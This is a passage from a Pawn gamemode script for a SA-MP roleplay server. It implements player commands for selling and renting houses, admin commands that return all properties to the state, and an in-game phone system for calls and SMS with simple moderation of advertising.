			ShowPlayerDialog(playerid,4576,DIALOG_STYLE_MSGBOX,"Sell House To State",infostr,"Accept","Decline");
			return 1;
		}
		if(strcmp(cmd, "/sellhouse", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
					if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
					GetPlayerName(playerid, playername, sizeof(playername));
					new house = PlayerInfo[playerid][pPhousekey];
					if(PINFO[playerid][pPhousekey] == 9999 || strcmp(HouseInfo[PINFO[playerid][pPhousekey]][hOwner],PINFO[playerid][pName],true)) return SCM(playerid,COLOR_Good,"You don't own a house.");
					tmp = strtok(cmdtext,idx);
					if(!strlen(tmp)) { SCM(playerid,COL_SYN,"Syntax: /sellhouse <Price>"); return SCM(playerid,COLOR_SINA3,"Use 0 for price to disable it."); }
					new price = strval(tmp);
					if(price <= -1 || price >= 500000000001) return SCM(playerid,COLOR_SINA3,"Type a price number between 1 and $500,000,000 or 0 to disable it.");
					if(price == 0)
					{
					HouseInfo[house][hOwned] = 1;
					SaveKonValH(house, "hOwned", 1);
					HouseInfo[house][hForosh] = 0;
					SaveKonValH(house, "hForosh", 0);
					CustomPickups();
					return SCM(playerid,COLOR_SINA3,"SellHouse {FFFFFF}Disabled.");
					}
					if(price >= 1)
					{
					HouseInfo[house][hOwned] = 2;
					SaveKonValH(house, "hOwned", 2);
					HouseInfo[house][hForosh] = price;
					SaveKonValH(house, "hForosh", price);
					format(string,256,"Your house is for sell, Price: $%s",FormatNumber(price));
				CustomPickups();
					return SCM(playerid,COLOR_SINA3,string);
					}
			}
			return 1;
		}
		
		
		if(strcmp(cmd, "/sellallhouses", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
			if (PlayerInfo[playerid][pAdmin] >= 12)
			{
				for(new i=0;i<1100;i++)
				{
					HouseInfo[i][hHel] = 0;
					SaveKonValH(i, "hHel", 0);
					HouseInfo[i][hLock] = 0;
					SaveKonValH(i, "hLock", 0);
					HouseInfo[i][hOwned] = 0;
					SaveKonValH(i, "hOwned", 0);
					strmid(HouseInfo[i][hOwner], "The State", 0, strlen("The State"), 255);
					SaveKonStrH(i, "hOwner", "The State");
				}
					new joonz[144];
					format(joonz, 144, "[Admin-Warn]: {FFFFFF}Admin %s sold all houses.", PINFO[playerid][pName]);
					ABroadCast(COLOR_AdminWarn,joonz,1);
					CustomPickups();
			}
			else
			{
				SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			}
		}
		return 1;
	}
		
				if(strcmp(cmd, "/sellallbizs", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
			if (PlayerInfo[playerid][pAdmin] >= 12)
			{
				for(new i=0;i<82;i++)
				{
					BizzInfo[i][bOwned] = 0;
					SaveKonValB(i, "bOwned", 0);
					SaveKonValB(BizzInfo[i][bOwner], "pPbiskey", 9999);
					strmid(BizzInfo[i][bOwner], "The State", 0, strlen("The State"), 255);
					SaveKonStrB(i, "bOwner", "The State");
				}
					new joonz[144];
					format(joonz, 144, "[Admin-Warn]: {FFFFFF}Admin %s sold all businesses.", PINFO[playerid][pName]);
					ABroadCast(COLOR_AdminWarn,joonz,1);
					CustomPickups();
			}
			else
			{
				SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			}
		}
		return 1;
	}
					if(strcmp(cmd, "/sellallsbizs", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
			if (PlayerInfo[playerid][pAdmin] >= 12)
			{
				for(new i=0;i<34;i++)
				{
					SBizzInfo[i][sbOwned] = 0;
					SaveKonVal(SBizzInfo[i][sbOwner], "pPbiskey", 9999);
					strmid(SBizzInfo[i][sbOwner], "The State", 0, strlen("The State"), 255);
				}
					new joonz[144];
					format(joonz, 144, "[Admin-Warn]: {FFFFFF}Admin %s sold all special businesses.", PINFO[playerid][pName]);
					ABroadCast(COLOR_AdminWarn,joonz,1);
					CustomPickups();
			}
			else
			{
				SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			}
		}
		return 1;
	}
	
	

	
		
		if (strcmp(cmd, "/houseinfo", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new house = PlayerInfo[playerid][pPhousekey];
				if(PINFO[playerid][pPhousekey] == 9999 || strcmp(HouseInfo[PINFO[playerid][pPhousekey]][hOwner],PINFO[playerid][pName],true)) return SCM(playerid,COLOR_Good,"You don't own a house.");
					//new sendername[64];
					GetPlayerName(playerid, sendername, sizeof(sendername));
					new parktext[20];
					if(HouseInfo[house][hHel] == 1) {parktext = "Yes"; }
					else if(HouseInfo[house][hHel]  == 0) {parktext = "No"; }
					new neontext[20];
					if(HouseInfo[house][hLock] == 0) { neontext = "No"; }
					else if(HouseInfo[house][hLock] == 1) { neontext = "Yes"; }
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, CRISTIAN,"_______________________________________");
						format(string, 256, "*** %s's house ***", sendername);
						SendMessage(playerid, COLOR_WHITE, string);
						format(string, 256, "House Level:[%d] Standar Price:[$%s] Locked:[%s]",HouseInfo[house][hLevel], FormatNumber(HouseInfo[house][hValue]),neontext);
						SendMessage(playerid, COLOR_GRAD3, string);
						format(string, 256, "Heal Upgrade:[%s]", parktext);
						SendMessage(playerid, COLOR_GRAD2, string);
						SendMessage(playerid, CRISTIAN,"_______________________________________");
						return 1;
					}
			}
			return 1;
		}
		if(strcmp(cmd, "/healupgrade", true) == 0 || strcmp(cmd, "/hu", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
//				new house = PlayerInfo[playerid][pPhousekey];
				GetPlayerName(playerid, playername, sizeof(playername));
				if(PINFO[playerid][pPhousekey] == 9999 || strcmp(HouseInfo[PINFO[playerid][pPhousekey]][hOwner],PINFO[playerid][pName],true)) return SCM(playerid,COLOR_Good,"You don't own a house.");
							if(SBizzInfo[6][sbProducts] == 0)
							{
								GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
								return 1;
							}
							if(PlayerInfo[playerid][pLevel] < 5)
							{
								SendMessage(playerid, COLOR_GRAD5, "You must be level +5 to upgrade your house.");
								return 1;
							}
							if(GetPlayerPool(playerid) < 500)
							{
								SendMessage(playerid, COLOR_GRAD5, "You haven't enough cash");
								return 1;
							}
							ShowPlayerDialog(playerid,7532,DIALOG_STYLE_MSGBOX,"Heal Upgrade for your house","Heal Upgrade for your house Price: 500$\n\nDo you accept heal upgrade for your house with $500 cost?","Accept","Decline");
							return 1;
			}
			return 1;
		}
		if(strcmp(cmd, "/setrent", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				new bouse = PlayerInfo[playerid][pPhousekey];
				GetPlayerName(playerid, playername, sizeof(playername));
				if(PINFO[playerid][pPhousekey] == 9999 || strcmp(HouseInfo[PINFO[playerid][pPhousekey]][hOwner],PINFO[playerid][pName],true)) return SCM(playerid,COLOR_Good,"You don't own a house.");
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /setrent <RentPrice>");
						return 1;
					}
					if(strval(tmp) < 0 || strval(tmp) > 100)
					{
						SendMessage(playerid, COLOR_WHITE, "Type a RentPrice Number between $0 and $100.");
						return 1;
					}
					HouseInfo[bouse][hRent] = strval(tmp);
					SaveKonValH(bouse, "hRent", strval(tmp));
					format(string, sizeof(string), "House rent set to $%s", FormatNumber(HouseInfo[bouse][hRent]));
					SendMessage(playerid, COLOR_WHITE, string);
					CustomPickups();
					return 1;
			}
			return 1;
		}
		if(strcmp(cmd, "/evictall", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
//				new bouse = PlayerInfo[playerid][pPhousekey];
				if(PINFO[playerid][pPhousekey] == 9999 || strcmp(HouseInfo[PINFO[playerid][pPhousekey]][hOwner],PINFO[playerid][pName],true)) return SCM(playerid,COLOR_Good,"You don't own a house.");
					EvictAllFromPlayerHouse(playerid);
					return 1;
			}
			return 1;
		}
		if(strcmp(cmd, "/evict", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
//				new bouse = PlayerInfo[playerid][pPhousekey];
				GetPlayerName(playerid, playername, sizeof(playername));
				if(PINFO[playerid][pPhousekey] == 9999 || strcmp(HouseInfo[PINFO[playerid][pPhousekey]][hOwner],PINFO[playerid][pName],true)) return SCM(playerid,COLOR_Good,"You don't own a house.");
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /evict <Playerid/PartOfName>");
					new target;
					target = ReturnUser6(tmp);
					if (target == playerid)
					{
						SendMessage(target, COLOR_SINA3, "You can't evict yourself.");
						return 1;
					}
					if(IsPlayerConnected(target) && gPlayerLogged[target] == 1)
					{
						if(target != INVALID_PLAYER_ID)
						{
							if(PlayerInfo[target][pPhousekey] == PlayerInfo[playerid][pPhousekey])
							{
								SendMessage(target, COLOR_SINA3, "You have been Evicted.");
								SendMessage(playerid, COLOR_SINA3, "Player has been evicted.");
								PlayerInfo[target][pPhousekey] = 9999;
								SaveKonVal(target, "pPhousekey", 9999);
								/*
								if(PINFO[target][gParked] == 1)
								{
									CreateVehGarage(target);
									SCM(target,COLOR_Good,"Your first car have been evicted from the parking.");
								}
								if(PINFO[target][gParked_2] == 1)
								{
									CreateVehGarage_2(target);
									SCM(target,COLOR_Good,"Your first car have been evicted from the parking.");
								}
								*/
								return 1;
							}
							else
							{
								SendMessage(playerid, COLOR_WHITE, "Player doesn't rent your House.");
								return 1;
							}
						}
					}
			}
			return 1;
		}
		if(strcmp(cmd, "/setrentable", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				new bouse = PlayerInfo[playerid][pPhousekey];
				GetPlayerName(playerid, playername, sizeof(playername));
				if(PINFO[playerid][pPhousekey] == 9999 || strcmp(HouseInfo[PINFO[playerid][pPhousekey]][hOwner],PINFO[playerid][pName],true)) return SCM(playerid,COLOR_Good,"You don't own a house.");
					new Amounnt[512];
					Amounnt = strtok(cmdtext, idx);
					if(!strlen(Amounnt)) return SendMessage(playerid, COL_SYN, "Syntax: /setrentable <On/Off>");
					if(!strcmp(Amounnt,"On",true))
					{
					HouseInfo[bouse][hRentabil] = 1;
					SaveKonValH(bouse, "hRentabil", 1);
					SCM(playerid,COLOR_SINA3,"Rentable of home Enabled.");
					CustomPickups();
					}
					else if(!strcmp(Amounnt,"off",true))
					{
					HouseInfo[bouse][hRentabil] = 0;
					SaveKonValH(bouse, "hRentabil", 0);
					SCM(playerid,COLOR_SINA3,"Rentable of home Disabled.");
					CustomPickups();
					}
					else return SendMessage(playerid, COL_SYN, "Syntax: /setrentable <On/Off>");
					return 1;
			}
			return 1;
		}
	//================================[CR]===========================
		if(!strcmp(cmd,"/call",true))
		{
			if(PlayerInfo[playerid][pPnumber] == 0) return SendMessage(playerid, COLOR_RED, "You do not have SIM Card.");
			if(GetPlayerPool(playerid) < SBizzInfo[14][sbEntranceCost]) return SCM(playerid, COLOR_Orang, "Error: You haven't cash for Call.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /call <PhoneNumber>");
			if(PhoneOnline[playerid] == 0) return SCM(playerid, COLOR_LIGHTBLUE, "You can't call because your cellphone is turned off.");
			new phonenumb = strval(tmp);
			if(phonenumb == PlayerInfo[playerid][pPnumber]) return SCM(playerid,COLOR_Orang,"Busy tone. You can't call yourself.");
			if(Mobile[playerid] != 9999) return SCM(playerid,COLOR_Orang,"You are already on a call.");
			if(PlayerOnDeathingE[playerid] == true) return 1;
			if(phonenumb == 0) return SCM(playerid,COLOR_YELLOW,"The number that you're trying to call doesn't exist.");
			if(SBizzInfo[14][sbEntranceCost] > PINFO[playerid][pCharge])return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough sim card charge.");
			if(phonenumb == 110)
			{
				if(Ghatel[playerid] != INVALID_PLAYER_ID)
				{
				// by man:| Ranger ;)
				if(GetPlayerWantedLevel(Ghatel[playerid] >= 6))
					{
					if(PINFO[Ghatel[playerid]][pSex] == 1) SendClientMessage(playerid, COLOR_YELLOW2, "He already have 6 wanted levels.");
					if(PINFO[Ghatel[playerid]][pSex] != 1) SendClientMessage(playerid, COLOR_YELLOW2, "She already have 6 wanted levels.");
					return 1;
					}
					if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
					{
					SCM(playerid, COLOR_YELLOW2, "Error: You are cop.");
					return 1;
					}

					if(EventPlayer[Ghatel[playerid]] == 1)
					{
					SCM(playerid, COLOR_YELLOW2, "Error: That player is in event.");
					return 1;
					}

					SetPlayerWantedLevel(Ghatel[playerid], GetPlayerWantedLevel(Ghatel[playerid])+GhatelWanted[playerid]);
                    WantedKamKonTimerValid[Ghatel[playerid]] = true;
                    WantedTimerEZ[Ghatel[playerid]] = 900;
                    WantedKamKonTimerValid[playerid] = true;
                    PlayerTextDrawShow(Ghatel[playerid], WantedTTD[Ghatel[playerid]]);
					SetPlayerCriminal(Ghatel[playerid], playerid, CrimeText[playerid],GhatelWanted[playerid]);
					SendMessage(playerid, COLOR_DBLUE, "Police HQ: We have alerted all units in the area.");
					SendMessage(playerid, COLOR_DBLUE, "Thank you for reporting this crime");
					format(string, sizeof(string), "[Dep-Warn]: {0069FF}A player reported %s for murdering.", PlayerInfo[Ghatel[playerid]][pName]);
					SendFamilyMessage(1, COLOR_BLUE, string);
					SendFamilyMessage(2, COLOR_BLUE, string);
					SendFamilyMessage(3, COLOR_BLUE, string);
					Ghatel[playerid] = INVALID_PLAYER_ID;
					TimerAnnouncer[playerid] = 0;
					GhatelWanted[playerid] = 0;
					strdel(CrimeText[playerid], 0, 100);
					//phoneloaded[giveplayerid]=1;
					//ShowNokiaMenu(giveplayerid,1);
					return 1;
				}
				if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_Orang,"You cannot speak when you are muted.");
				PlayerPlaySound(playerid,3600,0.0,0.0,0.0);
				GetPlayerName(playerid, sendername, sizeof(sendername));
				format(string, sizeof(string), "%s takes out a cellphone.", sendername);
				ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
				if(PlayerHandsCuffed[playerid] == 0)
				{
					SetPlayerAttachedObject(playerid, 0, 330, 6,0.000000,-0.001999,0.000000,0.000000,0.000000,0.000000,1.000000,1.000000,1.000000);
					SetPlayerSpecialAction(playerid, SPECIAL_ACTION_USECELLPHONE);
				}
					SendMessage(playerid, COLOR_GG, "EMERGENCY: Which Service Do You Require, Police or Paramedic?");
					Mobile[playerid] = 9000;
					return 1;
			}
			if(phonenumb == 185)
			{
				if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_Orang,"You cannot speak when you are muted.");
				PlayerPlaySound(playerid,3600,0.0,0.0,0.0);
				GetPlayerName(playerid, sendername, sizeof(sendername));
				format(string, sizeof(string), "%s takes out a cellphone.", sendername);
				ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
				if(PlayerHandsCuffed[playerid] == 0)
				{
					SetPlayerAttachedObject(playerid, 0, 330, 6,0.000000,-0.001999,0.000000,0.000000,0.000000,0.000000,1.000000,1.000000,1.000000);
					SetPlayerSpecialAction(playerid, SPECIAL_ACTION_USECELLPHONE);
				}
					SendMessage(playerid, COLOR_GREEN, "NEWS: Enter your text for send to all online news reporters.");
					Mobile[playerid] = 3900;
					return 1;
			}
			if(phonenumb == 999)
			{
				if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_Orang,"You cannot speak when you are muted.");
				PlayerPlaySound(playerid,3600,0.0,0.0,0.0);
				GetPlayerName(playerid, sendername, sizeof(sendername));
				format(string, sizeof(string), "%s takes out a cellphone.", sendername);
				ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
				if(PlayerHandsCuffed[playerid] == 0)
				{
					SetPlayerAttachedObject(playerid, 0, 330, 6,0.000000,-0.001999,0.000000,0.000000,0.000000,0.000000,1.000000,1.000000,1.000000);
					SetPlayerSpecialAction(playerid, SPECIAL_ACTION_USECELLPHONE);
				}
					SendMessage(playerid, COLOR_GREEN, "RADIO: Enter your text for send to all online radio djs.");
					Mobile[playerid] = 3999;
					return 1;
			}
			new taraf = INVALID_PLAYER_ID;
			for(new i = 0; i < Akharish; i++)
			{
				if(IsPlayerConnected(i))
				{
					if(PlayerInfo[i][pPnumber] == phonenumb)
					{
						taraf = i;
					}
				}
			}
			if(taraf == INVALID_PLAYER_ID) return SCM(playerid,COLOR_YELLOW,"The number that you're trying to call doesn't exist.");
			if(Mobile[taraf] != 9999 || CallWaiting[taraf] != 9999) return SCM(playerid,COLOR_YELLOW,"That player is already on a call.");
			if(PhoneOnline[taraf] == 0 ||  Specing[taraf] == 1) return SCM(playerid,COLOR_YELLOW,"That player's phone is turned off.");
			Mobile[playerid] = taraf; //caller connected!~!
			CallWaiting[taraf] = playerid;
			GetPlayerName(playerid, sendername, sizeof(sendername));
			format(string, sizeof(string), "%s takes out a cellphone.", sendername);
			ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
			if(PlayerHandsCuffed[playerid] == 0)
			{
				SetPlayerAttachedObject(playerid, 0, 330, 6,0.000000,-0.001999,0.000000,0.000000,0.000000,0.000000,1.000000,1.000000,1.000000);
				SetPlayerSpecialAction(playerid, SPECIAL_ACTION_USECELLPHONE);
			}
			new shomaretamoomses = PlayerInfo[playerid][pPnumber];
			TimerRingTone[taraf] = 1;
			format(string, sizeof(string), "{FFFF45}Phone: %s ({FFFFFF}%s{FFFF45}) is calling you. Type (/pickup) to answer.",sendername, FormatPhoneNumber(shomaretamoomses));
			SendMessage(taraf, COLOR_YELLOW, string);
			PlayerPlaySound(playerid,3600,0.0,0.0,0.0);
			GetPlayerName(taraf, sendername, sizeof(sendername));
			TextDrawSetString(NokiaPtds[playerid][3],sendername);
			format(string, sizeof(string), "%s's phone ringing...", sendername);
			ProxDetector(30.0, taraf, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
			PlayerPlaySound(taraf, 23000,0.0,0.0,0.0)
			CellTime[playerid] = 0;
			CallCost[playerid] = SBizzInfo[14][sbEntranceCost];
			phoneloaded[playerid]=4;
			ShowNokiaMenu(playerid,4);
			TextDrawSetPreviewModel(NokiaPtds[taraf][5], GetPlayerSkin(playerid));
			phoneloaded[taraf]=6;
			ShowNokiaMenu(taraf,6);
			SendClientMessage(taraf,COLOR_Good,"Tip: Press key 'Y' to enable mouse cursor.");
			strdel(PlayersPhones[playerid][LastNumberUse],0,7);
			TextDrawSetString(NokiaPtds[playerid][2],PlayersPhones[playerid][LastNumberUse]);
			return 1;
		}
		if(strcmp(cmd, "/sms", true) == 0)
		{
			//if(PlayerInfo[playerid][pPhoneBook] == 0) return SendMessage(playerid, COLOR_RED, "You do not have a PhoneBook.");
			if(PlayerInfo[playerid][pPnumber] == 0) return SendMessage(playerid, COLOR_RED, "You do not have SIM Card.");
			if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_Orang,"You cannot speak when you are muted.");
			if(GetPlayerPool(playerid) < SBizzInfo[14][sbEntranceCost]) return SCM(playerid, COLOR_Orang, "Error: You haven't cash for Sms.");
			if (PhoneOnline[playerid] == 0) return SCM(playerid, COLOR_YELLOW, "you can't send a SMS When your phone is offline");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /sms <PhoneNumber> <Text>");
			GetPlayerName(playerid, sendername, sizeof(sendername));
			new phonenumb = strval(tmp);
			if(phonenumb == 0) return SCM(playerid,COLOR_YELLOW,"The number that you're trying to sms doesn't exist.");
			if(SBizzInfo[14][sbEntranceCost] > PINFO[playerid][pCharge])return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough sim card charge.");
			new result[256]; result = strtokEx(cmdtext,idx);
			new taraf = INVALID_PLAYER_ID;
			new sendernamex[25];
			for(new i = 0; i < Akharish; i++)
			{
				if(IsPlayerConnected(i))
				{
					if(PlayerInfo[i][pPnumber] == phonenumb)
					{
						taraf = i;
					}
				}
			}
			if(taraf == INVALID_PLAYER_ID) return SCM(playerid,COLOR_YELLOW,"The number that you're trying to sms doesn't exist.");
			//new shomaresm = PlayerInfo[playerid][pPnumber];
			new spmtring[256];
			new payameyaro[256];
			if(!GetPVarString(playerid, "LastPMPhone", payameyaro, sizeof(payameyaro)))return SendClientMessage(playerid,COLOR_YELLOW2,"Error: Your sms should have more than 5 characters and it should send via phone.");
			GetPVarString(playerid, "LastPMPhone", payameyaro, sizeof(payameyaro));
			new phnum = PINFO[playerid][pPnumber];
			format(spmtring, sizeof(spmtring), "SMS from: %s~n~%s",sendername,FormatPhoneNumber(phnum));
			/*
			format(string, sizeof(string), "SMS: {FFFFFF}%s{FFFF00}, Sender: %s (%s)", result,sendername,FormatPhoneNumber(shomaresm));
			SWM(taraf, COLOR_YELLOW, string);
			format(string, sizeof(string), "SMS: {FFFFFF}%s{FFFF00}, To: %s (%s)", result,PINFO[taraf][pName],FormatPhoneNumber(PINFO[taraf][pPnumber]));
			SWM(playerid, COLOR_YELLOW, string);
			GetPlayerName(taraf, sendername, sizeof(sendername));
			GetPlayerName(playerid, sendernamex, sizeof(sendernamex));
			format(string, sizeof(string), "~r~-$%d", SBizzInfo[14][sbEntranceCost]);
			GameTextForPlayer(playerid, string, 5000, 1);
			GivePlayerPool(playerid, -SBizzInfo[14][sbEntranceCost]);
			//PINFO[playerid][pCash] -= SBizzInfo[14][sbEntranceCost];
			//SaveKonVal(playerid, "pCash", PINFO[playerid][pCash]);
			SBizzInfo[14][sbTill] += SBizzInfo[14][sbEntranceCost];
			PlayerPlaySound(playerid, 1052,0.0,0.0,0.0)
			PlayerPlaySound(taraf, 1052,0.0,0.0,0.0)
			*/
			if(phoneloaded[taraf]==9)
			{
				CancelSelectTextDraw(taraf);
				LoopingAnim(taraf, "PED", "ATM", 4.1, 0, 1, 1, 0, 1);
				TogglePlayerControllable(taraf,1);
				SetCameraBehindPlayer(taraf);
				onselfihiden[taraf]=0;
			}
			if(PhoneOnline[taraf] == 0 || Specing[taraf] == 1) return SCM(playerid,COLOR_YELLOW,"That player's phone is turned off.");
			if(PINFO[taraf][pPnumber] == 0) return SCM(playerid,COLOR_YELLOW,"The number that you're trying to sms doesn't exist.");
            if(PINFO[playerid][pAdmin]<12)CensorText(payameyaro);
            if(IsAdv(payameyaro)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
			TextDrawSetString(NokiaPtds[taraf][6],spmtring);
			TextDrawSetString(NokiaPtds[taraf][7],payameyaro);
			format(string, sizeof(string), "%s sent to %s(%s)",payameyaro,PINFO[taraf][pName],FormatPhoneNumber(PINFO[taraf][pPnumber]));
			SSWWMM(playerid, COLOR_YELLOW, string);
  			format(string, sizeof(string), "%s sent to %s(%s)",payameyaro,PINFO[taraf][pName],FormatPhoneNumber(PINFO[taraf][pPnumber]));
			SSWWMM(taraf, COLOR_YELLOW, string);
			phoneloaded[taraf]=7;
		   	ShowNokiaMenu(taraf,7);
		   	phoneloaded[playerid]=1;
		   	ShowNokiaMenu(playerid,1);
			GetPlayerName(taraf, sendername, sizeof(sendername));
			GetPlayerName(playerid, sendernamex, sizeof(sendernamex));
			format(string, sizeof(string), "~r~-$%d", SBizzInfo[14][sbEntranceCost]);
			GameTextForPlayer(playerid, string, 5000, 1);
			GivePlayerPool(playerid, -SBizzInfo[14][sbEntranceCost]);
			SBizzInfo[14][sbTill] += SBizzInfo[14][sbEntranceCost];
			PlayerPlaySound(playerid, 1052,0.0,0.0,0.0);
			PlayerPlaySound(taraf, 1052,0.0,0.0,0.0);
	        DeletePVar(playerid, "LastPMPhone");
			DeletePVar(playerid, "LastSMSNumber");
			TextDrawSetString(NokiaPtds[playerid][1],"Write your message here.");
			TextDrawSetString(NokiaPtds[playerid][0],"SMS to:_");
			//printf("[SMS] Sender %s To %s : %s", sendernamex, sendername, result);

		new tedad = 0;
		for(new b = 0;b < 9;b++) {
		new str[512];
		format(str, sizeof(str), "%d",b);
		if(strfind(result, str, true) != -1)
		{
		tedad++;
		}
		}
		if(tedad > 3) {
		new name[25];
		GetPlayerName(playerid, name, sizeof(name));
		format(string, sizeof(string), "[AD-{00FF00}/SMS-To-%s{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", PINFO[taraf][pName], name, playerid,result);
		//SendAdminMessage(COLOR_SINAGHERMEZ,string);
		}
		if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
		for(new i; i < sizeof(SusWords); i++)
		{
		if(PINFO[playerid][pAdmin] < 12)
		{
		         if(strcmp(result, LastMessageWarned[playerid], false))
         {
			if(strfind(result, SusWords[i], true) != -1)
			{
				new name[25];
				GetPlayerName(playerid, name, sizeof(name));
				format(string, sizeof(string), "[AD-{00FF00}/SMS-To-%s{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", PINFO[taraf][pName], name, playerid,result);
				SendAdminMMessage(COLOR_SINAGHERMEZ,string);
				strcpy(LastMessageWarned[playerid],result,149);
				break;
				}
			}
		 }
		}


			return 1;
		}
	//----------------------------------[pickup]-----------------------------------------------

		if(strcmp(cmd, "/pickup", true) == 0 || strcmp(cmd, "/p", true) == 0)
		{
			if(Mobile[playerid] != 9999) return SCM(playerid,COLOR_SINA3,"You are already on a call...");
			for(new i = 0; i < Akharish; i++)
			{
				if(IsPlayerConnected(i))
				{
					if(Mobile[i] == playerid)
					{
						Mobile[playerid] = i; //caller connecting
						SendMessage(i,  COLOR_Good, "They picked up.");
						GetPlayerName(playerid, sendername, sizeof(sendername));
						format(string, sizeof(string), "%s answers %s cellphone.", sendername, (PINFO[playerid][pSex]==1)?("his"):("her"));
						ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
						CallWaiting[playerid] = 9999;
						if(PlayerHandsCuffed[playerid] == 0)
						{
							SetPlayerAttachedObject(playerid, 0, 330, 6,0.000000,-0.001999,0.000000,0.000000,0.000000,0.000000,1.000000,1.000000,1.000000);
							SetPlayerSpecialAction(playerid, SPECIAL_ACTION_USECELLPHONE);
						}
						TimerRingTone[playerid] = 0;
					}
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/hangup", true) == 0 || strcmp(cmd, "/h", true) == 0)
		{
			new caller = Mobile[playerid];
			if(caller != 9999 && !IsPlayerConnected(caller))
			{
				CellTime[playerid] = 90;
				SendMessage(playerid,  COLOR_Good, "You hung up.");
				SetPlayerSpecialAction(playerid, SPECIAL_ACTION_STOPUSECELLPHONE);
				RemovePlayerAttachedObject(playerid, 0);
				Mobile[playerid] = 9999;
				PlayerInfo[playerid][pSpeaker] = 0;//Nemikhad
	            ShowNokiaMenu(playerid,0);
			    phoneloaded[playerid]=0;
			    CancelSelectTextDraw(playerid);
	            ShowNokiaMenu(playerid,1);
			    phoneloaded[playerid]=1;
				return 1;
			}
			if(IsPlayerConnected(caller))
			{
				if(caller != 9999 && CallWaiting[caller] == playerid)
				{
					SendMessage(caller,  COLOR_Good, "They hung up.");
					SendMessage(playerid,  COLOR_Good, "You hung up.");
					SetPlayerSpecialAction(playerid, SPECIAL_ACTION_STOPUSECELLPHONE);
					RemovePlayerAttachedObject(playerid, 0);
					CellTime[playerid] = 90;
					CellTime[Mobile[playerid]] = 90;
					Mobile[Mobile[playerid]] = 9999;
					TimerRingTone[Mobile[playerid]] = 0;
					CallWaiting[Mobile[playerid]] = 9999;
					Mobile[playerid] = 9999;
					PlayerInfo[playerid][pSpeaker] = 0;//Nemikhad save she
	            ShowNokiaMenu(caller,0);
			    phoneloaded[caller]=0;
			    CancelSelectTextDraw(caller);
	            ShowNokiaMenu(caller,1);
			    phoneloaded[caller]=1;
	            ShowNokiaMenu(playerid,0);
			    phoneloaded[playerid]=0;
			    CancelSelectTextDraw(playerid);
	            ShowNokiaMenu(playerid,1);
			    phoneloaded[playerid]=1;
					return 1;
				}
			}
			if(CallWaiting[playerid] != 9999 && IsPlayerConnected(CallWaiting[playerid]))
			{
					CellTime[CallWaiting[playerid]] = 90;
